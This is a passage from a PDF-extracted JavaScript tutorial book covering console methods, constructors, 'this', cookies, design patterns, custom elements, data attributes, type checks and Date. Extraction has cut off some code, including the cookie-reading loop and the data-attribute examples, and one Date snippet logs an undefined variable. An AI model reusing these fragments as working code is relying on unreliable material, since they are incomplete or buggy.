"bar" "baz" var personArr = [ { "personId": 123, "name": "Jhon", "city": "Melbourne", "phoneNo": "1234567890" }, { "personId": 124, "name": "Amelia", "city": "Sydney", "phoneNo": "1234567890" }, { "personId": 125, "name": "Emily", "city": "Perth", "phoneNo": "1234567890" }, { "personId": 126, "name": "Abraham", "city": "Perth", "phoneNo": "1234567890" } ]; console.table(personArr, ['name', 'personId']); displays like:

https://riptutorial.com/ 174 Including a stack trace when logging - console.trace()

function foo() { console.trace('My log statement'); }

foo();

Will display this in the console:

My log statement VM696:1 https://riptutorial.com/ 175 foo @ VM696:1 (anonymous function) @ (program):1

Note: Where available it's also useful to know that the same stack trace is accessible as a property of the Error object. This can be useful for post-processing and gathering automated feedback.

var e = new Error('foo'); console.log(e.stack);

Printing to a browser's debugging console

A browser's debugging console can be used in order to print simple messages. This debugging or web console can be directly opened in the browser (F12 key in most browsers – see Remarks below for further information) and the log method of the console Javascript object can be invoked by typing the following:

console.log('My message');

Then, by pressing Enter, this will display My message in the debugging console.

console.log() can be called with any number of arguments and variables available in the current scope. Multiple arguments will be printed in one line with a small space between them.

var obj = { test: 1 }; console.log(['string'], 1, obj, window);

The log method will display the following in the debugging console:

['string'] 1 Object { test: 1 } Window { /* truncated */ }

Beside plain strings, console.log() can handle other types, like arrays, objects, dates, functions, etc.:

console.log([0, 3, 32, 'a string']); console.log({ key1: 'value', key2: 'another value'});

Displays:

Array [0, 3, 32, 'a string'] Object { key1: 'value', key2: 'another value'}

Nested objects may be collapsed:

console.log({ key1: 'val', key2: ['one', 'two'], key3: { a: 1, b: 2 } });

https://riptutorial.com/ 176 Displays:

Object { key1: 'val', key2: Array[2], key3: Object }

Certain types such as Date objects and functions may be displayed differently:

console.log(new Date(0)); console.log(function test(a, b) { return c; });

Displays:

Wed Dec 31 1969 19:00:00 GMT-0500 (Eastern Standard Time) function test(a, b) { return c; }

Other print methods

In addition to the log method, modern browsers also support similar methods:

• console.info – small informative icon () appears on the left side of the printed string(s) or object(s).

• console.warn – small warning icon (!) appears on the left side. In some browsers, the background of the log is yellow.

• console.error – small times icon (⊗) appears on the left side. In some browsers, the background of the log is red.

• console.timeStamp – outputs the current time and a specified string, but is non-standard:

console.timeStamp('msg');

Displays:

00:00:00.001 msg

• console.trace – outputs the current stack trace or displays the same output as the log method if invoked in the global scope.

function sec() { first(); } function first() { console.trace(); } sec();

https://riptutorial.com/ 177 Displays:

first sec (anonymous function)

The above image shows all the functions, with the exception of timeStamp, in Chrome version 56.

These methods behave similarly to the log method and in different debugging consoles may render in different colors or formats.

In certain debuggers, the individual objects information can be further expanded by clicking the printed text or a small triangle (►) which refers to the respective object properties. These collapsing object properties can be open or closed on log. See the console.dir for additional information on this

Measuring time - console.time() console.time() can be used to measure how long a task in your code takes to run.

Calling console.time([label]) starts a new timer. When console.timeEnd([label]) is called, the elapsed time, in milliseconds, since the original .time() call is calculated and logged. Because of this behavior, you can call .timeEnd() multiple times with the same label to log the elapsed time since the original .time() call was made.

Example 1:

console.time('response in');

alert('Click to continue'); console.timeEnd('response in');

alert('One more time'); console.timeEnd('response in');

https://riptutorial.com/ 178 will output:

response in: 774.967ms response in: 1402.199ms

Example 2:

var elms = document.getElementsByTagName('*'); //select all elements on the page

console.time('Loop time');

for (var i = 0; i < 5000; i++) { for (var j = 0, length = elms.length; j < length; j++) { // nothing to do ... } }

console.timeEnd('Loop time'); will output:

Loop time: 40.716ms

Counting - console.count() console.count([obj]) places a counter on the object's value provided as argument. Each time this method is invoked, the counter is increased (with the exception of the empty string ''). A label together with a number is displayed in the debugging console according to the following format:

[label]: X label represents the value of the object passed as argument and X represents the counter's value.

An object's value is always considered, even if variables are provided as arguments:

var o1 = 1, o2 = '2', o3 = ""; console.count(o1); console.count(o2); console.count(o3);

console.count(1); console.count('2'); console.count('');

Displays:

1: 1 2: 1 : 1 1: 2 https://riptutorial.com/ 179 2: 2 : 1

Strings with numbers are converted to Number objects:

console.count(42.3); console.count(Number('42.3')); console.count('42.3');

Displays:

42.3: 1 42.3: 2 42.3: 3

Functions point always to the global Function object:

console.count(console.constructor); console.count(function(){}); console.count(Object); var fn1 = function myfn(){}; console.count(fn1); console.count(Number);

Displays:

[object Function]: 1 [object Function]: 2 [object Function]: 3 [object Function]: 4 [object Function]: 5

Certain objects get specific counters associated to the type of object they refer to:

console.count(undefined); console.count(document.Batman); var obj; console.count(obj); console.count(Number(undefined)); console.count(NaN); console.count(NaN+3); console.count(1/0); console.count(String(1/0)); console.count(window); console.count(document); console.count(console); console.count(console.__proto__); console.count(console.constructor.prototype); console.count(console.__proto__.constructor.prototype); console.count(Object.getPrototypeOf(console)); console.count(null);

https://riptutorial.com/ 180 Displays:

undefined: 1 undefined: 2 undefined: 3 NaN: 1 NaN: 2 NaN: 3 Infinity: 1 Infinity: 2 [object Window]: 1 [object HTMLDocument]: 1 [object Object]: 1 [object Object]: 2 [object Object]: 3 [object Object]: 4 [object Object]: 5 null: 1

Empty string or absence of argument

If no argument is provided while sequentially inputting the count method in the debugging console, an empty string is assumed as parameter, i.e.:

> console.count(); : 1 > console.count(''); : 2 > console.count(""); : 3

Debugging with assertions - console.assert()

Writes an error message to the console if the assertion is false. Otherwise, if the assertion is true, this does nothing.

console.assert('one' === 1);

Multiple arguments can be provided after the assertion–these can be strings or other objects–that will only be printed if the assertion is false:

https://riptutorial.com/ 181 console.assert does not throw an AssertionError (except in Node.js), meaning that this method is incompatible with most testing frameworks and that code execution will not break on a failed assertion.

Formatting console output

Many of the console's print methods can also handle C-like string formatting, using % tokens:

console.log('%s has %d points', 'Sam', 100);

Displays Sam has 100 points.

The full list of format specifiers in Javascript is:

Specifier Output

%s Formats the value as a string

%i or %d Formats the value as an integer

%f Formats the value as a floating point value

%o Formats the value as an expandable DOM element

%O Formats the value as an expandable JavaScript object

%c Applies CSS style rules to the output string as specified by the second parameter

Advanced styling

When the CSS format specifier (%c) is placed at the left side of the string, the print method will accept a second parameter with CSS rules which allow fine-grained control over the formatting of that string:

console.log('%cHello world!', 'color: blue; font-size: xx-large');

Displays:

https://riptutorial.com/ 182 It is possible to use multiple %c format specifiers:

• any substring to the right of a %c has a corresponding parameter in the print method; • this parameter may be an emtpy string, if there is no need to apply CSS rules to that same substring; • if two %c format specifiers are found, the 1st (encased in %c) and 2nd substring will have their rules defined in the 2nd and 3rd parameter of the print method respectively. • if three %c format specifiers are found, then the 1st, 2nd and 3rd substrings will have their rules defined in the 2nd , 3rd and 4th parameter respectively, and so on...

console.log("%cHello %cWorld%c!!", // string to be printed "color: blue;", // applies color formatting to the 1st substring "font-size: xx-large;", // applies font formatting to the 2nd substring "/* no CSS rule*/" // does not apply any rule to the remaing substring );

Displays:

Using groups to indent output

Output can be idented and enclosed in a collapsible group in the debugging console with the following methods:

• console.groupCollapsed(): creates a collapsed group of entries that can be expanded through the disclosure button in order to reveal all the entries performed after this method is invoked; • console.group(): creates an expanded group of entries that can be collapsed in order to hide the entries after this method is invoked.

The identation can be removed for posterior entries by using the following method:

• console.groupEnd(): exits the current group, allowing newer entries to be printed in the parent group after this method is invoked.

Groups can be cascaded to allow multiple idented output or collapsible layers within eachother:

https://riptutorial.com/ 183 = Collapsed group expanded =>

Clearing the console - console.clear()

You can clear the console window using the console.clear() method. This removes all previously printed messages in the console and may print a message like "Console was cleared" in some environments.

Displaying objects and XML interactively - console.dir(), console.dirxml() console.dir(object) displays an interactive list of the properties of the specified JavaScript object. The output is presented as a hierarchical listing with disclosure triangles that let you see the contents of child objects.

var myObject = { "foo":{ "bar":"data" } };

console.dir(myObject); displays:

https://riptutorial.com/ 184 console.dirxml(object) prints an XML representation of the descendant elements of object if possible, or the JavaScript representation if not. Calling console.dirxml() on HTML and XML elements is equivalent to calling console.log().

Example 1:

console.dirxml(document) displays:

Example 2:

console.log(document) displays:

https://riptutorial.com/ 185 Example 3:

var myObject = { "foo":{ "bar":"data" } };

console.dirxml(myObject); displays:

Read Console online: https://riptutorial.com/javascript/topic/2288/console

https://riptutorial.com/ 186 Chapter 24: Constructor functions

Remarks

Constructor functions are actually just regular functions, there's nothing special about them. It's only the new keyword which causes the special behavior shown in the examples above. Constructor functions can still be called like a regular function if desired, in which case you would need to bind the this value explicitly.

Examples

Declaring a constructor function

Constructor functions are functions designed to construct a new object. Within a constructor function, the keyword this refers to a newly created object which values can be assigned to. Constructor functions "return" this new object automatically.

function Cat(name) { this.name = name; this.sound = "Meow"; }

Constructor functions are invoked using the new keyword:

let cat = new Cat("Tom"); cat.sound; // Returns "Meow"

Constructor functions also have a prototype property which points to an object whose properties are automatically inherited by all objects created with that constructor:

Cat.prototype.speak = function() { console.log(this.sound); }

cat.speak(); // Outputs "Meow" to the console

Objects created by constructor functions also have a special property on their prototype called constructor, which points to the function used to create them:

cat.constructor // Returns the `Cat` function

Objects created by constructor functions are also considered to be "instances" of the constructor function by the instanceof operator:

cat instanceof Cat // Returns "true"

https://riptutorial.com/ 187 Read Constructor functions online: https://riptutorial.com/javascript/topic/1291/constructor- functions

https://riptutorial.com/ 188 Chapter 25: Context (this)

Examples this with simple objects

var person = { name: 'John Doe', age: 42, gender: 'male', bio: function() { console.log('My name is ' + this.name); } }; person.bio(); // logs "My name is John Doe" var bio = person.bio; bio(); // logs "My name is undefined"

In the above code, person.bio makes use of the context (this). When the function is called as person.bio(), the context gets passed automatically, and so it correctly logs "My name is John Doe". When assigning the function to a variable though, it loses its context.

In non-strict mode, the default context is the global object (window). In strict mode it is undefined.

Saving this for use in nested functions / objects

One common pitfall is to try and use this in a nested function or an object, where the context has been lost.

document.getElementById('myAJAXButton').onclick = function(){ makeAJAXRequest(function(result){ if (result) { // success this.className = 'success'; } }) }

Here the context (this) is lost in the inner callback function. To correct this, you can save the value of this in a variable:

document.getElementById('myAJAXButton').onclick = function(){ var self = this; makeAJAXRequest(function(result){ if (result) { // success self.className = 'success'; } }) }

6 https://riptutorial.com/ 189 ES6 introduced arrow functions which include lexical this binding. The above example could be written like this:

document.getElementById('myAJAXButton').onclick = function(){ makeAJAXRequest(result => { if (result) { // success this.className = 'success'; } }) }

Binding function context

5.1

Every function has a bind method, which will create a wrapped function that will call it with the correct context. See here for more information.

var monitor = { threshold: 5, check: function(value) { if (value > this.threshold) { this.display("Value is too high!"); } }, display(message) { alert(message); } };

monitor.check(7); // The value of `this` is implied by the method call syntax.

var badCheck = monitor.check; badCheck(15); // The value of `this` is window object and this.threshold is undefined, so value > this.threshold is false

var check = monitor.check.bind(monitor); check(15); // This value of `this` was explicitly bound, the function works.

var check8 = monitor.check.bind(monitor, 8); check8(); // We also bound the argument to `8` here. It can't be re-specified.

Hard binding

• The object of hard binding is to "hard" link a reference to this. • Advantage: It's useful when you want to protect particular objects from being lost. • Example:

function Person(){ console.log("I'm " + this.name); }

var person0 = {name: "Stackoverflow"} var person1 = {name: "John"}; https://riptutorial.com/ 190 var person2 = {name: "Doe"}; var person3 = {name: "Ala Eddine JEBALI"};

var origin = Person; Person = function(){ origin.call(person0); }

Person(); //outputs: I'm Stackoverflow

Person.call(person1); //outputs: I'm Stackoverflow

Person.apply(person2); //outputs: I'm Stackoverflow

Person.call(person3); //outputs: I'm Stackoverflow

• So, as you can remark in the example above, whatever object you pass to Person, it'll always use person0 object: it's hard binded. this in constructor functions

When using a function as a constructor, it has a special this binding, which refers to the newly created object:

function Cat(name) { this.name = name; this.sound = "Meow"; }

var cat = new Cat("Tom"); // is a Cat object cat.sound; // Returns "Meow"

var cat2 = Cat("Tom"); // is undefined -- function got executed in global context window.name; // "Tom" cat2.name; // error! cannot access property of undefined

Read Context (this) online: https://riptutorial.com/javascript/topic/8282/context--this-

https://riptutorial.com/ 191 Chapter 26: Cookies

Examples

Adding and Setting Cookies

The following variables set up the below example:

var COOKIE_NAME = "Example Cookie"; /* The cookie's name. */ var COOKIE_VALUE = "Hello, world!"; /* The cookie's value. */ var COOKIE_PATH = "/foo/bar"; /* The cookie's path. */ var COOKIE_EXPIRES; /* The cookie's expiration date (config'd below). */

/* Set the cookie expiration to 1 minute in future (60000ms = 1 minute). */ COOKIE_EXPIRES = (new Date(Date.now() + 60000)).toUTCString();

document.cookie += COOKIE_NAME + "=" + COOKIE_VALUE + "; expires=" + COOKIE_EXPIRES + "; path=" + COOKIE_PATH;

Reading cookies

var name = name + "=", cookie_array = document.cookie.split(';'), cookie_value; for(var i=0;i

This will set cookie_value to the value of the cookie, if it exists. If the cookie is not set, it will set cookie_value to null

Removing cookies

var expiry = new Date(); expiry.setTime(expiry.getTime() - 3600); document.cookie = name + "=; expires=" + expiry.toGMTString() + "; path=/"

This will remove the cookie with a given name.

Test if cookies are enabled

If you want to make sure cookies are enabled before using them, you can use navigator.cookieEnabled: https://riptutorial.com/ 192 if (navigator.cookieEnabled === false) { alert("Error: cookies not enabled!"); }

Note that on older browsers navigator.cookieEnabled may not exist and be undefined. In those cases you won't detect that cookies are not enabled.

Read Cookies online: https://riptutorial.com/javascript/topic/270/cookies

https://riptutorial.com/ 193 Chapter 27: Creational Design Patterns

Introduction

Design patterns are a good way to keep your code readable and DRY. DRY stands for don't repeat yourself. Below you could find more examples about the most important design patterns.

Remarks

In software engineering, a software design pattern is a general reusable solution to a commonly occurring problem within a given context in software design.

Examples

Singleton Pattern

The Singleton pattern is a design pattern that restricts the instantiation of a class to one object. After the first object is created, it will return the reference to the same one whenever called for an object.

var Singleton = (function () { // instance stores a reference to the Singleton var instance;

function createInstance() { // private variables and methods var _privateVariable = 'I am a private variable'; function _privateMethod() { console.log('I am a private method'); }

return { // public methods and variables publicMethod: function() { console.log('I am a public method'); }, publicVariable: 'I am a public variable' }; }

return { // Get the Singleton instance if it exists // or create one if doesn't getInstance: function () { if (!instance) { instance = createInstance(); } return instance; } }; })(); https://riptutorial.com/ 194 Usage:

// there is no existing instance of Singleton, so it will create one var instance1 = Singleton.getInstance(); // there is an instance of Singleton, so it will return the reference to this one var instance2 = Singleton.getInstance(); console.log(instance1 === instance2); // true

Module and Revealing Module Patterns Module Pattern

The Module pattern is a creational and structural design pattern which provides a way of encapsulating private members while producing a public API. This is accomplished by creating an IIFE which allows us to define variables only available in its scope (through closure) while returning an object which contains the public API.

This gives us a clean solution for hiding the main logic and only exposing an interface we wish other parts of our application to use.

var Module = (function(/* pass initialization data if necessary */) { // Private data is stored within the closure var privateData = 1;

// Because the function is immediately invoked, // the return value becomes the public API var api = { getPrivateData: function() { return privateData; },

getDoublePrivateData: function() { return api.getPrivateData() * 2; } }; return api; })(/* pass initialization data if necessary */);

Revealing Module Pattern

The Revealing Module pattern is a variant in the Module pattern. The key differences are that all members (private and public) are defined within the closure, the return value is an object literal containing no function definitions, and all references to member data are done through direct references rather than through the returned object.

var Module = (function(/* pass initialization data if necessary */) { // Private data is stored just like before var privateData = 1;

// All functions must be declared outside of the returned object https://riptutorial.com/ 195 var getPrivateData = function() { return privateData; };

var getDoublePrivateData = function() { // Refer directly to enclosed members rather than through the returned object return getPrivateData() * 2; };

// Return an object literal with no function definitions return { getPrivateData: getPrivateData, getDoublePrivateData: getDoublePrivateData }; })(/* pass initialization data if necessary */);

Revealing Prototype Pattern

This variation of the revealing pattern is used to separate the constructor to the methods. This pattern allow us to use the javascript language like a objected oriented language:

//Namespace setting var NavigationNs = NavigationNs || {};

// This is used as a class constructor NavigationNs.active = function(current, length) { this.current = current; this.length = length; }

// The prototype is used to separate the construct and the methods NavigationNs.active.prototype = function() { // It is a example of a public method because is revealed in the return statement var setCurrent = function() { //Here the variables current and length are used as private class properties for (var i = 0; i < this.length; i++) { $(this.current).addClass('active'); } } return { setCurrent: setCurrent }; }();

// Example of parameterless constructor NavigationNs.pagination = function() {}

NavigationNs.pagination.prototype = function() { // It is a example of a private method because is not revealed in the return statement var reload = function(data) { // do something }, // It the only public method, because it the only function referenced in the return statement getPage = function(link) { var a = $(link);

var options = {url: a.attr('href'), type: 'get'} $.ajax(options).done(function(data) { https://riptutorial.com/ 196 // after the the ajax call is done, it calls private method reload(data); });

return false; } return {getPage : getPage} }();

This code above should be in a separated file .js to be referenced in any page that is needed. It can be used like this:

var menuActive = new NavigationNs.active('ul.sidebar-menu li', 5); menuActive.setCurrent();

Prototype Pattern

The prototype pattern focuses on creating an object that can be used as a blueprint for other objects through prototypal inheritance. This pattern is inherently easy to work with in JavaScript because of the native support for prototypal inheritance in JS which means we don't need to spend time or effort imitating this topology.

Creating methods on the prototype

function Welcome(name) { this.name = name; } Welcome.prototype.sayHello = function() { return 'Hello, ' + this.name + '!'; }

var welcome = new Welcome('John');

welcome.sayHello(); // => Hello, John!

Prototypal Inheritance

Inheriting from a 'parent object' is relatively easy via the following pattern

ChildObject.prototype = Object.create(ParentObject.prototype); ChildObject.prototype.constructor = ChildObject;

Where ParentObject is the object you wish to inherit the prototyped functions from, and ChildObject is the new Object you wish to put them on.

If the parent object has values it initializes in it's constructor you need to call the parents constructor when initializing the child.

You do that using the following pattern in the ChildObject constructor. https://riptutorial.com/ 197 function ChildObject(value) { ParentObject.call(this, value); }

A complete example where the above is implemented

function RoomService(name, order) { // this.name will be set and made available on the scope of this function Welcome.call(this, name); this.order = order; }

// Inherit 'sayHello()' methods from 'Welcome' prototype RoomService.prototype = Object.create(Welcome.prototype);

// By default prototype object has 'constructor' property. // But as we created new object without this property - we have to set it manually, // otherwise 'constructor' property will point to 'Welcome' class RoomService.prototype.constructor = RoomService;

RoomService.prototype.announceDelivery = function() { return 'Your ' + this.order + ' has arrived!'; } RoomService.prototype.deliverOrder = function() { return this.sayHello() + ' ' + this.announceDelivery(); }

var delivery = new RoomService('John', 'pizza');

delivery.sayHello(); // => Hello, John!,

delivery.announceDelivery(); // Your pizza has arrived!

delivery.deliverOrder(); // => Hello, John! Your pizza has arrived!

Factory Functions

A factory function is simply a function that returns an object.

Factory functions do not require the use of the new keyword, but can still be used to initialize an object, like a constructor.

Often, factory functions are used as API wrappers, like in the cases of jQuery and moment.js, so users do not need to use new.

The following is the simplest form of factory function; taking arguments and using them to craft a new object with the object literal:

function cowFactory(name) { return { name: name, talk: function () { console.log('Moo, my name is ' + this.name); https://riptutorial.com/ 198 }, }; }

var daisy = cowFactory('Daisy'); // create a cow named Daisy daisy.talk(); // "Moo, my name is Daisy"

It is easy to define private properties and methods in a factory, by including them outside of the returned object. This keeps your implementation details encapsulated, so you can only expose the public interface to your object.

function cowFactory(name) { function formalName() { return name + ' the cow'; }

return { talk: function () { console.log('Moo, my name is ' + formalName()); }, }; }

var daisy = cowFactory('Daisy'); daisy.talk(); // "Moo, my name is Daisy the cow" daisy.formalName(); // ERROR: daisy.formalName is not a function

The last line will give an error because the function formalName is closed inside the cowFactory function. This is a closure.

Factories are also a great way of applying functional programming practices in JavaScript, because they are functions.

Factory with Composition

'Prefer composition over inheritance' is an important and popular programming principle, used to assign behaviors to objects, as opposed to inheriting many often unneeded behaviors.

Behaviour factories

var speaker = function (state) { var noise = state.noise || 'grunt';

return { speak: function () { console.log(state.name + ' says ' + noise); } }; };

var mover = function (state) { return { moveSlowly: function () { console.log(state.name + ' is moving slowly'); }, https://riptutorial.com/ 199 moveQuickly: function () { console.log(state.name + ' is moving quickly'); } }; };

Object factories

6

var person = function (name, age) { var state = { name: name, age: age, noise: 'Hello' };

return Object.assign( // Merge our 'behaviour' objects {}, speaker(state), mover(state) ); };

var rabbit = function (name, colour) { var state = { name: name, colour: colour };

return Object.assign( {}, mover(state) ); };

Usage

var fred = person('Fred', 42); fred.speak(); // outputs: Fred says Hello fred.moveSlowly(); // outputs: Fred is moving slowly

var snowy = rabbit('Snowy', 'white'); snowy.moveSlowly(); // outputs: Snowy is moving slowly snowy.moveQuickly(); // outputs: Snowy is moving quickly snowy.speak(); // ERROR: snowy.speak is not a function

Abstract Factory Pattern

The Abstract Factory Pattern is a creational design pattern that can be used to define specific instances or classes without having to specify the exact object that is being created.

function Car() { this.name = "Car"; this.wheels = 4; } function Truck() { this.name = "Truck"; this.wheels = 6; } function Bike() { this.name = "Bike"; this.wheels = 2; }

https://riptutorial.com/ 200 const vehicleFactory = { createVehicle: function (type) { switch (type.toLowerCase()) { case "car": return new Car(); case "truck": return new Truck(); case "bike": return new Bike(); default: return null; } } };

const car = vehicleFactory.createVehicle("Car"); // Car { name: "Car", wheels: 4 } const truck = vehicleFactory.createVehicle("Truck"); // Truck { name: "Truck", wheels: 6 } const bike = vehicleFactory.createVehicle("Bike"); // Bike { name: "Bike", wheels: 2 } const unknown = vehicleFactory.createVehicle("Boat"); // null ( Vehicle not known )

Read Creational Design Patterns online: https://riptutorial.com/javascript/topic/1668/creational- design-patterns

https://riptutorial.com/ 201 Chapter 28: Custom Elements

Syntax

• .prototype.createdCallback() • .prototype.attachedCallback() • .prototype.detachedCallback() • .prototype.attributeChangedCallback(name, oldValue, newValue) • document.registerElement(name, [options])

Parameters

Parameter Details

name The name of the new custom element.

options.extends The name of the native element being extended, if any.

options.prototype The custom prototype to use for the custom element, if any.

Remarks

Note that the Custom Elements specification has not yet been standardized, and is subject to change. The documentation describes the version that's been shipped in Chrome stable at this time.

Custom Elements is an HTML5 feature allowing developers to use JavaScript to define custom HTML tags that can be used in their pages, with associated styles and behaviours. They are often used with shadow-dom.

Examples

Registering New Elements

Defines an custom element which hides its contents until a specified number of seconds have elapsed.

const InitiallyHiddenElement = document.registerElement('initially-hidden', class extends HTMLElement { createdCallback() { this.revealTimeoutId = null; }

attachedCallback() { const seconds = Number(this.getAttribute('for')); https://riptutorial.com/ 202 this.style.display = 'none'; this.revealTimeoutId = setTimeout(() => { this.style.display = 'block'; }, seconds * 1000); }

detachedCallback() { if (this.revealTimeoutId) { clearTimeout(this.revealTimeoutId); this.revealTimeoutId = null; } } });

Hello World

Extending Native Elements

It's possible to extent native elements, but their descendants don't get to have their own tag names. Instead, the is attribute is used to specify which subclass an element is supposed to use. For example, here's an extension of the element which logs a message to the console when it's loaded.

const prototype = Object.create(HTMLImageElement.prototype); prototype.createdCallback = function() { this.addEventListener('load', event => { console.log("Image loaded successfully."); }); };

document.registerElement('ex-image', { extends: 'img', prototype: prototype });

Read Custom Elements online: https://riptutorial.com/javascript/topic/400/custom-elements

https://riptutorial.com/ 203 Chapter 29: Data attributes

Syntax

• var x = HTMLElement.dataset.*; • HTMLElement.dataset.* = "value";

Remarks

MDN Documentation: Using data attributes.

Examples

Accessing data attributes

Using the dataset property

The new dataset property allows access (for both reading and writing) to all data attributes data-* on any element.

Countries:

  • USA
  • Canada
  • France

Note: The dataset property is only supported in modern browsers and it's slightly slower than the getAttribute and setAttribute methods which are supported by all browsers.

Using the getAttribute & setAttribute methods

If you want to support the older browsers before HTML5, you can use the getAttribute and setAttribute methods which are used to access any attribute including the data attributes. The two https://riptutorial.com/ 204 functions in the example above can be written this way:

Read Data attributes online: https://riptutorial.com/javascript/topic/3197/data-attributes

https://riptutorial.com/ 205 Chapter 30: Data Manipulation

Examples

Extract extension from file name

Fast and short way to extract extension from file name in JavaScript will be:

function get_extension(filename) { return filename.slice((filename.lastIndexOf('.') - 1 >>> 0) + 2); }

It works correctly both with names having no extension (e.g. myfile) or starting with . dot (e.g. .htaccess):

get_extension('') // "" get_extension('name') // "" get_extension('name.txt') // "txt" get_extension('.htpasswd') // "" get_extension('name.with.many.dots.myext') // "myext"

The following solution may extract file extensions from full path:

function get_extension(path) { var basename = path.split(/[\\/]/).pop(), // extract file name from full path ... // (supports `\\` and `/` separators) pos = basename.lastIndexOf('.'); // get last position of `.`

if (basename === '' || pos < 1) // if file name is empty or ... return ""; // `.` not found (-1) or comes first (0)

return basename.slice(pos + 1); // extract extension ignoring `.` }

get_extension('/path/to/file.ext'); // "ext"

Format numbers as money

Fast and short way to format value of type Number as money, e.g. 1234567.89 => "1,234,567.89":

var num = 1234567.89, formatted;

formatted = num.toFixed(2).replace(/\d(?=(\d{3})+\.)/g, '$&,'); // "1,234,567.89"

More advanced variant with support of any number of decimals [0 .. n], variable size of number groups [0 .. x] and different delimiter types:

/** https://riptutorial.com/ 206 * Number.prototype.format(n, x, s, c) * * @param integer n: length of decimal * @param integer x: length of whole part * @param mixed s: sections delimiter * @param mixed c: decimal delimiter */ Number.prototype.format = function(n, x, s, c) { var re = '\\d(?=(\\d{' + (x || 3) + '})+' + (n > 0 ? '\\D' : '$') + ')', num = this.toFixed(Math.max(0, ~~n));

return (c ? num.replace('.', c) : num).replace(new RegExp(re, 'g'), '$&' + (s || ',')); };

12345678.9.format(2, 3, '.', ','); // "12.345.678,90" 123456.789.format(4, 4, ' ', ':'); // "12 3456:7890" 12345678.9.format(0, 3, '-'); // "12-345-679" 123456789..format(2); // "123,456,789.00"

Set object property given its string name

function assign(obj, prop, value) { if (typeof prop === 'string') prop = prop.split('.');

if (prop.length > 1) { var e = prop.shift(); assign(obj[e] = Object.prototype.toString.call(obj[e]) === '[object Object]' ? obj[e] : {}, prop, value); } else obj[prop[0]] = value; }

var obj = {}, propName = 'foo.bar.foobar';

assign(obj, propName, 'Value');

// obj == { // foo : { // bar : { // foobar : 'Value' // } // } // }

Read Data Manipulation online: https://riptutorial.com/javascript/topic/3276/data-manipulation

https://riptutorial.com/ 207 Chapter 31: Datatypes in Javascript

Examples typeof typeof is the 'official' function that one uses to get the type in javascript, however in certain cases it might yield some unexpected results ...

1. Strings typeof "String" or typeof Date(2011,01,01)

"string"

2. Numbers typeof 42

"number"

3. Bool typeof true (valid values true and false)

"boolean"

4. Object typeof {} or typeof [] or typeof null or typeof /aaa/ or typeof Error()

"object"

5. Function typeof function(){}

"function"

6. Undefined var var1; typeof var1

"undefined"

https://riptutorial.com/ 208 Getting object type by constructor name

When one with typeof operator one gets type object it falls into somewhat wast category...

In practice you might need to narrow it down to what sort of 'object' it actually is and one way to do it is to use object constructor name to get what flavour of object it actually is: Object.prototype.toString.call(yourObject)

1. String

Object.prototype.toString.call("String")

"[object String]"

2. Number

Object.prototype.toString.call(42)

"[object Number]"

3. Bool

Object.prototype.toString.call(true)

"[object Boolean]"

4. Object

Object.prototype.toString.call(Object()) or Object.prototype.toString.call({})

"[object Object]"

5. Function

Object.prototype.toString.call(function(){})

"[object Function]"

6. Date

Object.prototype.toString.call(new Date(2015,10,21))

"[object Date]"

7. Regex

Object.prototype.toString.call(new RegExp()) or Object.prototype.toString.call(/foo/);

"[object RegExp]"

8. Array

Object.prototype.toString.call([]); https://riptutorial.com/ 209 "[object Array]"

9. Null

Object.prototype.toString.call(null);

"[object Null]"

10. Undefined

Object.prototype.toString.call(undefined);

"[object Undefined]"

11. Error

Object.prototype.toString.call(Error());

"[object Error]"

Finding an object's class

To find whether an object was constructed by a certain constructor or one inheriting from it, you can use the instanceof command:

//We want this function to take the sum of the numbers passed to it //It can be called as sum(1, 2, 3) or sum([1, 2, 3]) and should give 6 function sum(...arguments) { if (arguments.length === 1) { const [firstArg] = arguments if (firstArg instanceof Array) { //firstArg is something like [1, 2, 3] return sum(...firstArg) //calls sum(1, 2, 3) } } return arguments.reduce((a, b) => a + b) }

console.log(sum(1, 2, 3)) //6 console.log(sum([1, 2, 3])) //6 console.log(sum(4)) //4

Note that primitive values are not considered instances of any class:

console.log(2 instanceof Number) //false console.log('abc' instanceof String) //false console.log(true instanceof Boolean) //false console.log(Symbol() instanceof Symbol) //false

Every value in JavaScript besides null and undefined also has a constructor property storing the function that was used to construct it. This even works with primitives.

//Whereas instanceof also catches instances of subclasses, //using obj.constructor does not console.log([] instanceof Object, [] instanceof Array) //true true https://riptutorial.com/ 210 console.log([].constructor === Object, [].constructor === Array) //false true

function isNumber(value) { //null.constructor and undefined.constructor throw an error when accessed if (value === null || value === undefined) return false return value.constructor === Number } console.log(isNumber(null), isNumber(undefined)) //false false console.log(isNumber('abc'), isNumber([]), isNumber(() => 1)) //false false false console.log(isNumber(0), isNumber(Number('10.1')), isNumber(NaN)) //true true true

Read Datatypes in Javascript online: https://riptutorial.com/javascript/topic/9800/datatypes-in- javascript

https://riptutorial.com/ 211 Chapter 32: Date

Syntax

• new Date(); • new Date(value); • new Date(dateAsString); • new Date(year, month[, day[, hour[, minute[, second[, millisecond]]]]]);

Parameters

Parameter Details

The number of milliseconds since 1 January 1970 00:00:00.000 UTC (Unix value epoch)

dateAsString A date formatted as a string (see examples for more information)

The year value of the date. Note that month must also be provided, or the value year will be interpreted as a number of milliseconds. Also note that values between 0 and 99 have special meaning. See the examples.

The month, in the range 0-11. Note that using values outside the specified month range for this and the following parameters will not result in an error, but rather cause the resulting date to "roll over" to the next value. See the examples.

day Optional: The date, in the range 1-31.

hour Optional: The hour, in the range 0-23.

minute Optional: The minute, in the range 0-59.

second Optional: The second, in the range 0-59.

millisecond Optional: The millisecond, in the range 0-999.

Examples

Get the current time and date

Use new Date() to generate a new Date object containing the current date and time.

Note that Date() called without arguments is equivalent to new Date(Date.now()).

Once you have a date object, you can apply any of the several available methods to extract its https://riptutorial.com/ 212 properties (e.g. getFullYear() to get the 4-digits year).

Below are some common date methods. Get the current year

var year = (new Date()).getFullYear(); console.log(year); // Sample output: 2016

Get the current month

var month = (new Date()).getMonth(); console.log(month); // Sample output: 0

Please note that 0 = January. This is because months range from 0 to 11, so it is often desirable to add +1 to the index. Get the current day

var day = (new Date()).getDate(); console.log(day); // Sample output: 31

Get the current hour

var hours = (new Date()).getHours(); console.log(hours); // Sample output: 10

Get the current minutes

var minutes = (new Date()).getMinutes(); console.log(minutes); // Sample output: 39

Get the current seconds

var seconds = (new Date()).getSeconds(); https://riptutorial.com/ 213 console.log(second); // Sample output: 48

Get the current milliseconds

To get the milliseconds (ranging from 0 to 999) of an instance of a Date object, use its getMilliseconds method.

var milliseconds = (new Date()).getMilliseconds(); console.log(milliseconds); // Output: milliseconds right now

Convert the current time and date to a human-readable string

